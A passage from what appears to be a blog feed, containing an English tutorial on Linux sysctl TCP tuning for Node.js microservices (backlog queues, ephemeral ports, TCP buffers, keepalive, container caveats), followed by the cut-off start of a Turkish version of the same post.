&lt;p&gt;If either of these queues fills up, the kernel will simply discard incoming packets. The client will time out and try again. Your application, on the other hand, won't log any errors because the connection never even reached the server. From the outside, this looks like an intermittent network issue, but it's actually the kernel's capacity limit.&lt;/p&gt;
&lt;p&gt;By default, Linux distributions have &lt;code&gt;net.core.somaxconn&lt;/code&gt; set to either 128 or 4096. These numbers might sound large, but when containers behind a load balancer restart or a "connection storm" occurs, these queues can burst within seconds.&lt;/p&gt;
&lt;h3 id="persuading-the-kernel-and-that-secret-parameter-in-nodejs"&gt;Persuading the Kernel and That Secret Parameter in Node.js&lt;a class="headerlink" href="#persuading-the-kernel-and-that-secret-parameter-in-nodejs" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Let's fine-tune:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;net.core.somaxconn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;65535&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_max_syn_backlog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;65535&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;However, changing this setting at the kernel level alone won't win the war, man. When Node.js starts its HTTP server, it defaults to listening with a &lt;code&gt;backlog&lt;/code&gt; limit of &lt;code&gt;511&lt;/code&gt;. If you don't provide this backlog limit to the &lt;code&gt;listen&lt;/code&gt; function when starting the server, Node.js will still be capped at 511, even if you set the kernel's queue limit to 65535!&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;createServer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'node:http'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;createServer&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;end&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ok'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// We're matching the backlog value to our kernel setting, making it 65535&lt;/span&gt;
&lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'0.0.0.0'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;65535&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Listening with backlog 65535...'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To see if the setting is taking effect live, you can run this command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;ss&lt;span class="w"&gt; &lt;/span&gt;-lnt&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If the &lt;code&gt;Send-Q&lt;/code&gt; (queue capacity) column still shows &lt;code&gt;511&lt;/code&gt;, it means you either forgot to restart the Node.js application or you didn't provide this value in the &lt;code&gt;listen&lt;/code&gt; call in your code.&lt;/p&gt;
&lt;h2 id="2-ephemeral-port-exhaustion-on-the-client-side_1"&gt;2. Ephemeral Port Exhaustion on the Client Side&lt;a class="headerlink" href="#2-ephemeral-port-exhaustion-on-the-client-side" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Our Node.js service doesn't just handle incoming requests; it also connects to databases, makes requests to other microservices, or calls external APIs. Every external TCP connection, by default, reserves a temporary port (ephemeral port) from the range &lt;code&gt;32768-60999&lt;/code&gt; (about 28,000 ports).&lt;/p&gt;
&lt;p&gt;Especially during peak times with a high volume of short-lived requests, even after a connection closes, the ports remain stuck in the &lt;code&gt;TIME_WAIT&lt;/code&gt; state for 2 minutes (during &lt;code&gt;tcp_fin_timeout&lt;/code&gt;). When the port pool is exhausted, your application can't make outgoing requests, and you'll see an &lt;code&gt;EADDRNOTAVAIL&lt;/code&gt; error in your terminal. The receiving service might seem like it's crashed, but in reality, your own kernel is gasping for air.&lt;/p&gt;
&lt;p&gt;To overcome this, we'll expand the port range and enable the safe reuse of ports:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;net.ipv4.ip_local_port_range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;1024 65535&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_tw_reuse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;With &lt;code&gt;tcp_tw_reuse&lt;/code&gt;, the kernel can safely reuse sockets in the &lt;code&gt;TIME_WAIT&lt;/code&gt; state for new outgoing connections by using timestamps.&lt;/p&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Critical Warning: Do Not Touch tcp_tw_recycle!&lt;/p&gt;
&lt;p&gt;Don't fall for 10-year-old blog posts on the internet and enable the &lt;code&gt;tcp_tw_recycle&lt;/code&gt; parameter, man. This setting causes random disconnections for clients coming from behind NAT (Network Address Translation), which is why it was completely removed from the kernel in Linux version 4.12.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;You can use this single-line command to monitor port status in real-time:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;ss&lt;span class="w"&gt; &lt;/span&gt;-tan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;awk&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{print $4}'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cut&lt;span class="w"&gt; &lt;/span&gt;-d:&lt;span class="w"&gt; &lt;/span&gt;-f2&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sort&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;uniq&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sort&lt;span class="w"&gt; &lt;/span&gt;-rn&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;head
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="3-memory-buffers-for-higher-throughput-tcp-buffers"&gt;3. Memory Buffers for Higher Throughput (TCP Buffers)&lt;a class="headerlink" href="#3-memory-buffers-for-higher-throughput-tcp-buffers" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For streams on Node.js to operate without bottlenecks at high bandwidth, the kernel's memory buffers must have sufficient space. If &lt;code&gt;rmem_max&lt;/code&gt; and &lt;code&gt;wmem_max&lt;/code&gt; values remain low, the kernel will announce a smaller TCP window, and even high-speed connections won't deliver their full potential performance. Virtual network bridges in containerized environments add extra load to this situation.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;net.core.rmem_max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;16777216&lt;/span&gt;
&lt;span class="na"&gt;net.core.wmem_max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;16777216&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_rmem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;4096 87380 16777216&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_wmem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;4096 65536 16777216&lt;/span&gt;
&lt;span class="na"&gt;net.core.netdev_max_backlog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;65535&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The triple values here specify the minimum, default, and maximum buffer sizes (in bytes), respectively. The kernel dynamically scales the buffer based on network latency and data flow. The 16 MiB ceiling prevents idle connections from hogging memory while serving as a lifeline during heavy data transfer.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;netdev_max_backlog&lt;/code&gt; controls the packet queue at the network interface card (NIC) level. If packets arriving at the NIC pile up faster than the kernel can deliver them to userspace, packets are dropped directly at the NIC. You can monitor this using &lt;code&gt;ethtool -S eth0 | grep rx_missed_errors&lt;/code&gt; or the RX errors field in the &lt;code&gt;ifconfig&lt;/code&gt; output.&lt;/p&gt;
&lt;h2 id="4-rapid-cleanup-of-idle-sockets-tcp-keepalive"&gt;4. Rapid Cleanup of Idle Sockets (TCP Keepalive)&lt;a class="headerlink" href="#4-rapid-cleanup-of-idle-sockets-tcp-keepalive" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;During rolling updates or network interruptions at NAT gateways, clients or servers might not detect that a connection has dropped. In such cases, sockets remain stuck in a "half-open" state. Linux's default Keepalive time is a whopping 2 hours, man. A dead socket occupying your connection pool for 2 hours means wasted server resources.&lt;/p&gt;
&lt;p&gt;We're bringing the timeout down to more humane limits:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;net.ipv4.tcp_keepalive_time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;60&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_keepalive_intvl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_keepalive_probes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;6&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;With these settings, after 60 seconds of no data transfer, 6 probe packets are sent at 10-second intervals. If there's no response from the other side, the connection is considered dead and cleaned up from the pool in about 2 minutes. Of course, for this to work, the &lt;code&gt;keepAlive: true&lt;/code&gt; setting must also be enabled on the Node.js side when using the HTTP Agent&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h2 id="diagnosing-which-limit-youve-hit-quick-checklist"&gt;Diagnosing Which Limit You've Hit (Quick Checklist)&lt;a class="headerlink" href="#diagnosing-which-limit-youve-hit-quick-checklist" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To understand which kernel limit your network issue is hitting, you can refer to this map I've prepared:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Symptom:&lt;/strong&gt; Under heavy load, CPU is quiet, but connections are timing out.&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Possible Limit:&lt;/strong&gt; &lt;code&gt;somaxconn&lt;/code&gt; or the listen backlog limit on the Node.js side.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diagnosis Command:&lt;/strong&gt; Compare &lt;code&gt;Send-Q&lt;/code&gt; and &lt;code&gt;Recv-Q&lt;/code&gt; values using &lt;code&gt;ss -lnt&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Symptom:&lt;/strong&gt; &lt;code&gt;SYN flooding&lt;/code&gt; warning in &lt;code&gt;dmesg&lt;/code&gt; logs.&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Possible Limit:&lt;/strong&gt; &lt;code&gt;tcp_max_syn_backlog&lt;/code&gt; queue is full.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diagnosis Command:&lt;/strong&gt; &lt;code&gt;dmesg | grep SYN&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Symptom:&lt;/strong&gt; &lt;code&gt;EADDRNOTAVAIL&lt;/code&gt; error when making requests to external services.&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Possible Limit:&lt;/strong&gt; Ephemeral (temporary) port exhaustion.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diagnosis Command:&lt;/strong&gt; Compare the &lt;code&gt;ss -tan | grep TIME_WAIT | wc -l&lt;/code&gt; value with your local port range.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Symptom:&lt;/strong&gt; Bandwidth unable to exceed 1 Gbps on high-speed lines.&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Possible Limit:&lt;/strong&gt; Insufficient TCP memory buffers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diagnosis Command:&lt;/strong&gt; &lt;code&gt;cat /proc/sys/net/core/rmem_max&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Symptom:&lt;/strong&gt; Irregular latency spikes during sudden traffic fluctuations.&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Possible Limit:&lt;/strong&gt; Network card queue limit (&lt;code&gt;netdev_max_backlog&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diagnosis Command:&lt;/strong&gt; Check &lt;code&gt;ethtool -S eth0 | grep rx_missed_errors&lt;/code&gt; or the &lt;code&gt;RX errors&lt;/code&gt; field in the &lt;code&gt;ifconfig&lt;/code&gt; output.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Symptom:&lt;/strong&gt; Dead sockets in the connection pool are not cleaned up for minutes after the other service crashes.&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Possible Limit:&lt;/strong&gt; Keepalive timers are too slow.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diagnosis Command:&lt;/strong&gt; &lt;code&gt;cat /proc/sys/net/ipv4/tcp_keepalive_time&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="consolidating-all-settings-in-a-single-file"&gt;Consolidating All Settings in a Single File&lt;a class="headerlink" href="#consolidating-all-settings-in-a-single-file" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You can deploy the following configuration to your servers using Ansible, Terraform, or directly manually. It's a clean set that stays within safe limits and doesn't break TCP standards:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# /etc/sysctl.d/99-nodejs-microservices.conf&lt;/span&gt;

&lt;span class="c1"&gt;# Incoming connection capacity&lt;/span&gt;
&lt;span class="na"&gt;net.core.somaxconn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;65535&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_max_syn_backlog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;65535&lt;/span&gt;

&lt;span class="c1"&gt;# Outgoing connection capacity and port management&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.ip_local_port_range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;1024 65535&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_tw_reuse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_fin_timeout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;30&lt;/span&gt;

&lt;span class="c1"&gt;# Memory buffers for data flow (in Bytes)&lt;/span&gt;
&lt;span class="na"&gt;net.core.rmem_max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;16777216&lt;/span&gt;
&lt;span class="na"&gt;net.core.wmem_max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;16777216&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_rmem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;4096 87380 16777216&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_wmem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;4096 65536 16777216&lt;/span&gt;
&lt;span class="na"&gt;net.core.netdev_max_backlog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;65535&lt;/span&gt;

&lt;span class="c1"&gt;# Quick elimination of dead connections&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_keepalive_time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;60&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_keepalive_intvl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_keepalive_probes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;6&lt;/span&gt;

&lt;span class="c1"&gt;# Memory safety limit for the TCP stack (in Page count, not Bytes!)&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_mem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;786432 1048576 26777216&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To apply these settings to your server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;sysctl&lt;span class="w"&gt; &lt;/span&gt;--system
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Caution! The tcp_mem Parameter is Dangerous&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;tcp_mem&lt;/code&gt; line controls the total amount of memory the kernel can allocate for TCP sockets. The values here are in &lt;strong&gt;memory pages&lt;/strong&gt; (usually 4 KiB per page on x86_64 architecture), not bytes! If you set this limit too low relative to your server's total RAM capacity, the kernel will start dropping packets wholesale. Use the above values as a starting point and adjust them based on &lt;code&gt;free&lt;/code&gt; and &lt;code&gt;slabtop&lt;/code&gt; outputs under load.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="infrastructure-settings-wont-save-bad-code"&gt;Infrastructure Settings Won't Save Bad Code&lt;a class="headerlink" href="#infrastructure-settings-wont-save-bad-code" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Fine-tuning the kernel gives your server breathing room, but it won't fix poorly written code, man. If your Node.js application's event loop is blocked for 200 ms due to a synchronous &lt;code&gt;JSON.parse&lt;/code&gt; or a heavy loop, even setting &lt;code&gt;somaxconn&lt;/code&gt; to a million won't prevent that queue from eventually bursting. That's because the application can't accept connections from the kernel.&lt;/p&gt;
&lt;p&gt;Similarly, if you open a new database connection on every request and forget to close it, you'll eventually face ephemeral port exhaustion. Kernel settings only provide an escape ramp; fixing the leak is your job.&lt;/p&gt;
&lt;h2 id="pitfalls-in-the-container-world-docker-kubernetes"&gt;Pitfalls in the Container World (Docker &amp;amp; Kubernetes)&lt;a class="headerlink" href="#pitfalls-in-the-container-world-docker-kubernetes" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you're using Docker or Kubernetes, you need to pay attention to where &lt;code&gt;sysctl&lt;/code&gt; settings reside:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Safe within Containers:&lt;/strong&gt; Settings that are part of the network namespace, like &lt;code&gt;tcp_tw_reuse&lt;/code&gt; and &lt;code&gt;tcp_rmem&lt;/code&gt;, can be changed from within the container.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Run Only on the Host:&lt;/strong&gt; Settings like &lt;code&gt;somaxconn&lt;/code&gt;, &lt;code&gt;rmem_max&lt;/code&gt;, &lt;code&gt;wmem_max&lt;/code&gt;, and &lt;code&gt;netdev_max_backlog&lt;/code&gt; are not part of the network namespace. If you try to set them from within a container, you'll get a permission error, or the setting will have no effect. These must be set directly on the server machine (host).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Cleanest Path for Kubernetes:&lt;/strong&gt; In K8s environments, instead of solving these settings at the pod level or with runtime sidecars, embedding them directly at the host level during the node provisioning phase, i.e., via Terraform cloud-init or custom machine images (AMIs), is the cleanest approach.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Incorporate all these settings into your infrastructure automation and bury those silently annoying network issues in the past.&lt;/p&gt;
&lt;p&gt;Stay well!&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="more-notes-from-the-lab"&gt;🔗 More Notes from the Lab&lt;a class="headerlink" href="#more-notes-from-the-lab" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Here are some other articles that might be useful when tinkering with systems, managing network traffic, and improving performance:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-dns-vpn-systemd-resolved-unbound/"&gt;DNS Mystery on Arch Linux: VPN, systemd-resolved, and Unbound&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-dnsmasq-dnscrypt-proxy/"&gt;Guide to Installing dnsmasq and dnscrypt-proxy on Arch Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/"&gt;How to Install OpenVPN on AWS EC2 and Fix DNS Leaks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/docker-imaj-boyutu-kucultme-rehberi/"&gt;Dieting for Bloated Docker Images: A Journey from 1.2 GB to 78 MB&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performance Settings&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;The &lt;code&gt;keepAlive&lt;/code&gt; setting on the Node.js side only ensures the application keeps the connection open. If the kernel-level TCP keepalive time is not changed, dead connections will still remain stuck at the operating system level for 2 hours.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="linux"/><category term="tcp tuning"/><category term="sysctl"/><category term="nodejs"/><category term="microservice"/><category term="devops"/><category term="troubleshooting"/></entry><entry><title>Node.js Mikroservisleri İçin Linux TCP Tuning ve Kernel Ayarları</title><link href="https://yuceltoluyag.github.io/linux-tcp-tuning-node-js-microservices/" rel="alternate"/><published>2026-05-29T04:20:00+03:00</published><updated>2026-05-29T04:20:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-29:/linux-tcp-tuning-node-js-microservices/</id><summary type="html">&lt;p&gt;Yüksek yük altında Node.js sunucularında yaşanan gizemli bağlantı kopmalarını ve zaman aşımlarını engellemek için yapılması gereken kritik Linux kernel sysctl ayarlarını anlatıyorum.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Kendi local lab&amp;inodot;mda ko&amp;scedil;turdu&amp;gbreve;um mikroservislerin y&amp;uuml;k testlerini yaparken garip bir duruma denk geldim hac&amp;inodot;. 